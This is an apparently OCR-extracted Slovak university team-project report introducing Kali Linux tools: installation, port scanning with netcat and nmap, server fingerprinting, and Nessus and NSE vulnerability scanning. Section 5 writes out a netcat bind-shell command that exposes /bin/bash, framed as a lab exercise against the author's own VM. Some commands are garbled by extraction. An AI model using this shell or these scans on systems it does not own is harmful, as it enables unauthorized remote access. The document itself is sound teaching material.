Slovenska technicka univerzita v Bratislave

Fakulta informatiky a informacnych technologii
llkoviCova 2, 842 16 Bratislava 4

Nastroje pre kyberneticku
ochranu

Offenzivna obrana a analyza slabych
miest v systéme

Jakub Perdek

Studijny program: Informatika

Roc¢nik: 4

Krazok: Str 14:00, DIGILAB

Predmet: Timovy projekt

Veduci projektu: Ing. Pavol Helebrandt Phd.
Ak. rok: 2020/2021



1. Kali linux pre penetracneé
testovanie

O nastroji

Kali je nastroj, ktory sa pouZiva pre penetracné testovanie. Pouziva opera¢ny systém
Debian Linux. Rozne programy pre testovanie, ale hlavne ofenzivu st bud’ predinstalované
alebo je ich mozné doinstalovat’. Ich funkcionalita ¢asto presahuje beznt funkcionalitu, ktort
ma konkrétny program napriklad na operacnom systéme Ubuntu alebo Windowse. Prikladom
moze byt napriklad netcad s moznost'ou pouzit’ prepinac -e (exec), pri pripojeni k terminalu
zZ cudzieho pocitaca.

InStalacia

a. Nainstalujeme si VirtualBox najnovsiu verziu zo sekcie VirtualBox6.1.14
platform packages pre konkrétny opera¢ny systém.
https://www.virtualbox.org/wiki/Downloads

b. Stiahneme a nainstalujeme Kali pre VirtualBox. Na niz$ie uvedenje stranke
rozbalime ponuku pre VirtualBox a klikneme na prislusnt verziu Kali Linux
VirtualBox.
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-
download/#1572305786534-030ce714-cc3b

€. Zrovnakej stranky pre instalaciu VirtualBoxu stiahneme extension pre
VirtualBox zo sekcie VirtualBox 6.1.14 Oracle VM VirtualBox Extension
Pack
https://www.virtualbox.org/wiki/Downloads

d. Spustime pomocou VirtualBoxu Kali a prihlasime sa zadanim pouzivatel'ského
mena a hesla:

Login: kali
Password: kali

e. Spustime prikazy pre update v prostredi a urobime d’alSie konfiguracie.

sudo apt update
apt list —upgradable

2. Pomocné nastroje pre Kali

Pomocou prikazového riadka je mozné spustit’ vychodzi prehliada¢ pre Kali, ktorym je
firefox pouzitim prikazu firefox. Nasledne je mozné stiahnut’ potrebné programy, ako
napriklad winrar §tandardne pomocou prehliadaca.


https://www.virtualbox.org/wiki/Downloads
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-
https://www.virtualbox.org/wiki/Downloads

3. Nastroje pre skenovanie portov

Pre skenovanie portov existuje niekol’ko nastrojov. Niektoré dokazu urcit’ aj
zranitel'nosti systému, pri niektorych to nie je primarny ciel’. NajznamejSimi nastrojmi pre
skenovanie portov su nmap, netcat a masscan.

netcat

Mozno s nim skenovat’ TCP aj UDP porty. Primarne vSak nie je ureny na odhal’ovanie
zranitel'nosti pri skenovani. Napriklad skenovanie TCP portov 3337-3392 na zariadeni s IP
adresou 192.-----.----.---- mozno vykonat’ pouzitim prepinaca -v nasledovnym prikazom:

nc -nvv -w 1 -z 192.----- ----.---- 3337-3392

Pre skenovanie UDP portov na zariadeni s IP adresou 192.-----.----.---- mozno pouZit’
prepinac -u nasledovnym prikazom:

nc-nv-u-z-wl192.-----.----.---- 1-65565

nmap

Nastroj ur¢eny na skenovanie portov a odhalovanie zranitel'nosti v systéme.
Skenovanie TCP portov mozno zah4jit’ pre zariadenie na ip adrese 192.---.----.---- prikazom:
nmap -sT 192.---.----.---- -Pn
Rovnako pre skenovanie UDP portov bude prikaz namiesto prepinacu -sT obsahovat’ prepinac
-ST

sudo nmap -sU 192.----.----.---- -Pn
Oboje je mozné dosiahnut’ pomocou zadanim obidvoch prepinacov:
sudo nmap -sS -sU 192.----.---- ---- -Pn

Stealth skenovanie

Skenovanie, ktoré nedokon¢i three way handshake v TCP spojeni. Posiela SYN pakety
na rozne porty, ale neposiela findlny ACK paket, iba prijima SYN-ACK. Na zédklade
odpovede vie zistit,, ¢i je konkrétny port otvoreny. Pre aktivovanie je potrebné pouZit’
prepinac -SS.

sudo nmap -sS 192.168.----.----

masscan

Dalsi program pre skenovanie portov a nachddzanie zranitelnosti. Skenovanie mozno
zah4jit’ pomocou nasledovného prikazu:
sudo nmap -sS 192.168.----.----



4. Nastroje pre analyzu informacii
0 serveroch

V ofenzivnej bezpecnosti je potrebné pri zistovani slabych stranok ziskat’ informacie
0 konkrétnom serveri. Konkrétne informacie o type beziaceho systému, akym moze byt
napriklad Apache, ale aj d’alSie informdcie. Tie m6zu posluzit’ pre zistovanie slabych stranok
konkrétneho servera.

Analyza hlaviciek v odozve

V prehliadaci pri navsteve servera otvorime konzolu s ladiacimi néstrojmi stlacenim
klavesy F12. Rozsirime si konzolu a prepneme sa na kartu network. Rozkliknete nejaky
request a zobrazi sa informacie o niom. Jedno z policok obsahuje aj informéacie o type servera.
Napriklad server, ktory vyuZziva uloZto je Golfe2. Nechybaju ani informécie o Sifrovani
a podobne.

Analyza URL

Mozno na zéklade nich zistit’ pouzity programovaci jazyk

Sitemapy

Informacie o rozlozeni stranok konkrétneho webu pre webové crawlery.

Robots.txt

Informécia pre webové crawlery o tom, ¢o mozu a ¢o by nemali parsovat’, respektive
prechadzat’. Crawler nemusi uposliichnut’ nariadenia v tomto subore, ale pre etickost’
prechiddzania webu, by pravidla v tomto subore mali byt dodrzané.



5. Nastroje pre pouzitie vzdialeného
stroja prostrednictvom konzoly

O nastrojoch

Pre tuto Glohu je mozné pouzit’ netcad ale aj telnet.

Pouzitie
1.  Zistenie ip adresy v terminaly pomocou prikazov $pecifickych pre konkrétny
systém.
Ubuntu: ifconfig

Windows: ipconfig
Kali linux: ip

Poznamka: V Kali linuxe beziacom na virtualke je potrebné mat’ ako
pripojenie mat’ nastavny Bridge (Brifge je dostupny od 6. Verzie Virtualboxu a
nastavitel'ny v konfiguracii Virtualboxu).

2.  Stiahnutie netcadu pre Windows z github repozitara dostupného na adrese
https://github.com/diegocr/netcat. Pouzitie je rovnaké ako na linuxe, len je potrebné
volat’ exe subor nc.exe spolu s cestou k nemu, alebo mat’ nastavent cestu k nemu
vV premennych systému. Jeho funkcionalita je obmedzena.

3. Overenie ¢i je internetové spojenie medzi zistenymi ip adresami priepustné mozno
realizovat’ pomocou prikazu ping.

Napriklad: ping 192.----.----.----

4.  V pripade, Ze spojenie nefunguje je potrebné povolit’ zdiel'anie stiborov a tla¢iarni

ako i v niektorych pripadoch firewall.

5. Zahjjenie poc¢livania na porte mozno pomocou netcadu realizovat’ pomocou
nasledovného prikazu:
nc -nlvp 5555 (alebo vo windowse path\to\nc.exe -nlvp 4444)

Cielom je spristupnit’ pristup k termindlu, preto je protrebna
funkcionalita prepinaca exec dostupna len v niektorych veriach prikazu nc, prave
koli bezpe¢nostnému riziku. Je napriklad dostupna v Kali linux, ale nie je
v Ubuntu a vo verzii pre Windows.

nc -nlvp 5555 -e /bin/bash
(alebo vo windowse path\to\nc.exe -nlvp 4444 -e /bin/bash)

6.  Pripojenie sa k posluchacovi a ziskanie pristupu k jeho prikazovému riadu. (Musi
byt’ na niektorej strane pouZzity prepinac -e, pouZzivatel’ je teda schopny pripojit’ sa
k svojmu Kali linux na virtualke pomocou jeho opera¢ného sytému a zisat’ pristup
k prikazovému riadku)
Napriklad:
nc -nv 192.----.----.---- 5555
Alebo pre Windows:


https://github.com/diegocr/netcat

nc.exe -nv 192.
nc.exe -nv 192.



6. Nastroje na testovanie
zranitelnosti

Pre obranu alebo utok je potrebné najst’ zranitel'nosti v systéme. Existuju analyzatory
umoznujuce takéto zraniteI'nosti identifikovat. Okrem nich existuju aj ndstroje umoziujice
vyuzit’ konkrétnu zraniteI'nost’ za ucelom infiltracie do systému. Skenery slabin vyzaduju vel'a
zdrojov (2 a viac CPU jadier a 8 a viac GB RAM).

burpsuite

Silny proxi nastroj s GUI rozhranim umoznujici manuélne testovanie vo svojej free
verzii. V Kali m6Zeme tento nastroj spustit’ pomocou prikazu burpsuite.

Nessus

Schopny priemysleny Standard na odhalovanie slabin v systéme. Pre jeho pouzivanie
je potrebna registracia. Jeho naroky st vacSie, a preto je pre jeho fungovanie potrebné mat
vykon iimerny priemernému hernému pocitacu. Pri inStalacii by mal byt Nessus pristupny na
adrese https://localhost :8834. Nastroj umoznuje niekol’ko réznych skenovani. Medzi nimi
zékladné skenovanie siete a pokrocilé skenovanie.

Zakladny sken siete

Skenuje iba zakladné porty. MoZzno ho nastavit’ na skenovanie vSetkych portov.
Rovnako mozZno nastavit’ jeho spravanie v pripade moznosti prelomit’ prihlasovacie udaje.
NastaviteI'né su aj d’alSie kontroly napriklad ako autentifikovany sken alebo neautentifikovany
sken. Autentifikovany sken je presnejsi, ale potrebuje autentifikacné tidaje do systému. Po
skenovani ndm Nessus spristupni zoznam slabych stranok systému.

NSE - nmap scripting engine

Nastroj umoznujlci automaticku detekciu a validaciu slabych stranok systému. Nie je
uplne rozvinuty, ale disponuje rozsiahlou kniznicou skriptov pre odhalovanie zranitel'nosti.
Skripty st napisané v jazyku LUA. Rozne skripty su schopné sposobit’ pad ciela po ich
aplikacii. Obsahom st r6zne techniky, napriklad tie vyuZzivajice hrubt silu a autentifikaciu.

sudo nmap --script vuln 192.168.1.----



